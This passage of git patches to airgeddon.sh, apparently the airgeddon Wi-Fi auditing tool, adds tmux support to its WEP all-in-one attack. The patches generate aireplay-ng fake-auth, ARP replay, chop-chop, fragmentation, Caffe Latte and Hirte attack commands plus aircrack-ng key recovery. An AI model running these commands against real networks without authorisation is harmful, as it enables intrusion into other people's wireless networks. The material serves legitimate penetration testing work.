$2}' | grep -E "^${wep_chopchop_phase2_pid}$" 2> /dev/null) - if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then + wep_script_processes+=(${wep_chopchop_phase2_pid}) + wep_chopchop_phase=3 + ;; + 3) + wep_chopchop_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_chopchop_phase2_pid}$" 2> /dev/null) + if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then EOF cat >&6 <<-EOF From f83debe838670e4a35be38a1361dec8f9051641c Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:34:51 +0530 Subject: [PATCH 091/148] WEP All In One Attack - Create heredoc functions call for WEP Chop-Chop Phase 3 --- airgeddon.sh | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 65d10aef7..d1bf0b8cf 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3049,13 +3049,27 @@ function set_wep_script() { if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then EOF - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" + get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-'EOF' - wep_script_processes+=($!) - wep_chopchop_phase=4 + wep_chopchop_phase=4 fi ;; esac From d4a5d4f6fed91f722099a56017ee28230e2b5de0 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:37:59 +0530 Subject: [PATCH 092/148] WEP All In One Attack - Create heredoc functions call for WEP Fragmentation Phase 1 --- airgeddon.sh | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index d1bf0b8cf..40067611b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3099,12 +3099,26 @@ function set_wep_script() { wep_fragmentation_launched=1 EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)" + get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}" + wep_fragmentation_phase1_pid="\${global_process_pid}" + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_fragmentation_phase1_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_fragmentation_phase1_pid=$! wep_script_processes+=(${wep_fragmentation_phase1_pid}) fi fi From 52ef30d6361ab1a3ab9493856f5252625d218801 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:42:40 +0530 Subject: [PATCH 093/148] WEP All In One Attack - Create heredoc functions call for WEP Fragmentation Phase 2 --- airgeddon.sh | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 40067611b..73abc6e9e 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3126,14 +3126,27 @@ function set_wep_script() { 2) EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" + # There is no need to grab the process id for this attack as it just runs packetforge and kills itself + wep_fragmentation_phase2_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_fragmentation_phase2_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_fragmentation_phase2_pid=$! - wep_script_processes+=(${wep_fragmentation_phase2_pid}) wep_fragmentation_phase=3 + wep_script_processes+=(${wep_fragmentation_phase2_pid}) ;; 3) wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) From 4c56d5121480b687b5c6fdd00d910cb9c5760f7b Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:44:16 +0530 Subject: [PATCH 094/148] WEP All In One Attack - Create heredoc functions call for WEP Fragmentation Phase 3 --- airgeddon.sh | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 73abc6e9e..79b9bbcdb 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3153,13 +3153,28 @@ function set_wep_script() { if [ -z "${wep_fragmentation_phase2_pid_alive}" ]; then EOF - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" + get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-'EOF' - wep_script_processes+=($!) - wep_fragmentation_phase=4 + wep_fragmentation_phase=4 fi ;; esac From 09e98a66cc0941f9c2550655c6bd2b1a04a85364 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:46:18 +0530 Subject: [PATCH 095/148] WEP All In One Attack - Create heredoc functions call for Capturing WEP Data --- airgeddon.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 79b9bbcdb..71279bcbd 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3209,11 +3209,27 @@ function set_wep_script() { } wep_script_processes=() - xterm -bg "#000000" -fg "#FFFFFF" -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" + get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" + wep_script_capture_pid="\${global_process_pid}" + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#FFFFFF" -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_capture_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_script_capture_pid=$! wep_script_processes+=(${wep_script_capture_pid}) write_wep_processes EOF From 2153f4698a29124ce82e994cc0582e6331bfad55 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:47:39 +0530 Subject: [PATCH 096/148] WEP All In One Attack - Create heredoc functions call for WEP Fake Auth --- airgeddon.sh | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 71279bcbd..b12bfad82 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3253,12 +3253,26 @@ function set_wep_script() { if [[ -n ${wep_capture_pid_alive} ]] && [[ -z ${wep_fakeauth_pid_alive} ]]; then EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#00FF00" -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth" + get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" + wep_fakeauth_pid="\${global_process_pid}" + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#00FF00" -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_fakeauth_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_fakeauth_pid=$! wep_script_processes+=(${wep_fakeauth_pid}) write_wep_processes sleep 2 From 190df7275898cca13211d3b874e1d586ca41d657 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:50:38 +0530 Subject: [PATCH 097/148] WEP All In One Attack - Create heredoc functions call for WEP ARP Broadcast Injection --- airgeddon.sh | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index b12bfad82..4baea8689 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3282,13 +3282,31 @@ function set_wep_script() { wep_to_be_launched_only_once=1 EOF - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FFFF00" -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection" + get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + # local arp_broadcast_injection_pid + # local arp_broadcast_injection_cmd_line + # arp_broadcast_injection_cmd_line=\$(echo "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" | tr -d '"') + # while [ -z "\${arp_broadcast_injection_pid}" ]; do + # arp_broadcast_injection_pid=\$(ps --no-headers aux | grep "\$arp_broadcast_injection_cmd_line" | grep -v "grep \$arp_broadcast_injection_cmd_line" | awk '{print \$2}') + # done + # wep_script_processes+=(\${arp_broadcast_injection_pid}) + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#FFFF00" -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + fi - cat >&6 <<-'EOF' - wep_script_processes+=($!) - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-EOF xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & From db30965202ad22149f2d4273dd25fb753c8e2fc2 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:52:31 +0530 Subject: [PATCH 098/148] WEP All In One Attack - Create heredoc functions call for WEP ARP Request Replay --- airgeddon.sh | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4baea8689..26eafdb0a 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3308,13 +3308,31 @@ function set_wep_script() { EOF fi - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" + get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + # local arp_request_replay_pid + # local arp_request_replay_cmd_line + # arp_request_replay_cmd_line=\$(echo "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" | tr -d '"') + # while [ -z "\${arp_request_replay_pid}" ]; do + # arp_request_replay_pid=\$(ps --no-headers aux | grep "\$arp_request_replay_cmd_line" | grep -v "grep \$arp_request_replay_cmd_line" | awk '{print \$2}') + # done + # wep_script_processes+=(\${arp_request_replay_pid}) + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & + EOF + fi - cat >&6 <<-'EOF' - wep_script_processes+=($!) - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-EOF xterm -hold -bg "#000000" -fg "#FFC0CB" -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & From a443524d45d228e629cf72bf6abfde270a8f212e Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:54:35 +0530 Subject: [PATCH 099/148] WEP All In One Attack - Create heredoc functions call for WEP Cafe Latte Attack --- airgeddon.sh | 37 +++++++++++++++++-------------------- 1 file changed, 17 insertions(+), 20 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 26eafdb0a..853473548 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3288,13 +3288,6 @@ function set_wep_script() { get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" - # local arp_broadcast_injection_pid - # local arp_broadcast_injection_cmd_line - # arp_broadcast_injection_cmd_line=\$(echo "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" | tr -d '"') - # while [ -z "\${arp_broadcast_injection_pid}" ]; do - # arp_broadcast_injection_pid=\$(ps --no-headers aux | grep "\$arp_broadcast_injection_cmd_line" | grep -v "grep \$arp_broadcast_injection_cmd_line" | awk '{print \$2}') - # done - # wep_script_processes+=(\${arp_broadcast_injection_pid}) EOF else cat >&6 <<-EOF @@ -3314,13 +3307,6 @@ function set_wep_script() { get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" - # local arp_request_replay_pid - # local arp_request_replay_cmd_line - # arp_request_replay_cmd_line=\$(echo "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" | tr -d '"') - # while [ -z "\${arp_request_replay_pid}" ]; do - # arp_request_replay_pid=\$(ps --no-headers aux | grep "\$arp_request_replay_cmd_line" | grep -v "grep \$arp_request_replay_cmd_line" | awk '{print \$2}') - # done - # wep_script_processes+=(\${arp_request_replay_pid}) EOF else cat >&6 <<-EOF @@ -3334,13 +3320,24 @@ function set_wep_script() { EOF fi - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FFC0CB" -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" + get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#FFC0CB" -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + fi - cat >&6 <<-'EOF' - wep_script_processes+=($!) - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-EOF xterm -hold -bg "#000000" -fg "#D3D3D3" -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & From 711bf91f410cbdead894602ed688370806698cd6 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:55:50 +0530 Subject: [PATCH 100/148] WEP All In One Attack - Create heredoc functions call for WEP Hirte Attack --- airgeddon.sh | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 853473548..0db9ae97b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3339,12 +3339,33 @@ function set_wep_script() { EOF fi - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#D3D3D3" -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" + get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + # local hirte_attack_pid + # local hirte_attack_cmd_line + # hirte_attack_cmd_line=\$(echo "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" | tr -d '"') + # while [ -z "\${hirte_attack_pid}" ]; do + # hirte_attack_pid=\$(ps --no-headers aux | grep "\$hirte_attack_cmd_line" | grep -v "grep \$hirte_attack_cmd_line" | awk '{print \$2}') + # done + # wep_script_processes+=(\${hirte_attack_pid}) + EOF + else + cat >&6 <<-EOF + xterm -hold -bg "#000000" -fg "#D3D3D3" -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + fi cat >&6 <<-'EOF' - wep_script_processes+=($!) write_wep_processes fi From b18f51b06cf9f79659cd898bbf2f7747127dfe1a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:57:43 +0530 Subject: [PATCH 101/148] WEP All In One Attack - Create heredoc functions call for Decrypting WEP Key --- airgeddon.sh | 29 ++++++++++++++++++----------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0db9ae97b..f2712bc83 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3345,13 +3345,6 @@ function set_wep_script() { get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" - # local hirte_attack_pid - # local hirte_attack_cmd_line - # hirte_attack_cmd_line=\$(echo "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" | tr -d '"') - # while [ -z "\${hirte_attack_pid}" ]; do - # hirte_attack_pid=\$(ps --no-headers aux | grep "\$hirte_attack_cmd_line" | grep -v "grep \$hirte_attack_cmd_line" | awk '{print \$2}') - # done - # wep_script_processes+=(\${hirte_attack_pid}) EOF else cat >&6 <<-EOF @@ -3390,12 +3383,26 @@ function set_wep_script() { wep_aircrack_launched=1 EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#FFFF00" -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" + get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" + wep_aircrack_pid="\${global_process_pid}" + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#FFFF00" -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_aircrack_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_aircrack_pid=$! wep_script_processes+=(${wep_aircrack_pid}) write_wep_processes fi From 9ee1650860e7454d80e853c99ccf23b1a24b8ae9 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 04:57:13 +0530 Subject: [PATCH 102/148] WEP All In One Attack - Create heredoc functions to kill tmux windows --- airgeddon.sh | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index f2712bc83..a6aa3dfa9 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2758,6 +2758,9 @@ function kill_wep_windows() { for item in "${WEP_PROCESSES_TO_KILL[@]}"; do kill "${item}" &> /dev/null done + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + kill_tmux_windows + fi } #Prepare wep attack deleting temp files @@ -2854,6 +2857,29 @@ function set_wep_key_script() { } EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&8 <<-'EOF' + function kill_tmux_windows() { + + local TMUX_WINDOWS_LIST=() + local current_window_name + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") + for item in "${TMUX_WINDOWS_LIST[@]}"; do + [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" + if [ "${current_window_name}" = "\${tmux_main_window}" ]; then + continue + fi + if [ -n "${1}" ]; then + if [ "${current_window_name}" = "${1}" ]; then + continue + fi + fi + tmux kill-window -t "\${session_name}:${current_window_name}" + done + } + EOF + fi + cat >&8 <<-EOF while true; do sleep 1 @@ -2877,6 +2903,15 @@ function set_wep_key_script() { cat >&8 <<-EOF kill_wep_script_windows + EOF + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&8 <<-EOF + kill_tmux_windows "WEP Key Decrypted" + EOF + fi + + cat >&8 <<-EOF rm -rf "${tmpdir}${wepdir}${wep_processes_file}" touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1 EOF From 3266b3880f2e28f40b9d34cc9d076a7897f5e755 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 09:16:32 +0530 Subject: [PATCH 103/148] WEP All In One Attack - Added missing heredoc function and performed some code corrections --- airgeddon.sh | 101 +++++++++++++++++++++++++++++++-------------------- 1 file changed, 62 insertions(+), 39 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a6aa3dfa9..56ca9195c 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2785,6 +2785,23 @@ function set_wep_key_script() { cat >&8 <<-EOF #!/usr/bin/env bash + EOF + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&8 <<-EOF + function start_tmux_processes() { + + command_line="\${1}" + window_name="\${2}" + + tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null + tmux new-window -t "${session_name}:" -n "\${window_name}" + tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER + } + EOF + fi + + cat >&8 <<-EOF wep_key_found=0 #Check if the wep password was captured and manage to save it on a file @@ -2858,23 +2875,23 @@ function set_wep_key_script() { EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&8 <<-'EOF' + cat >&8 <<-EOF function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name - readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") - for item in "${TMUX_WINDOWS_LIST[@]}"; do - [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" - if [ "${current_window_name}" = "\${tmux_main_window}" ]; then + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") + for item in "\${TMUX_WINDOWS_LIST[@]}"; do + [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi - if [ -n "${1}" ]; then - if [ "${current_window_name}" = "${1}" 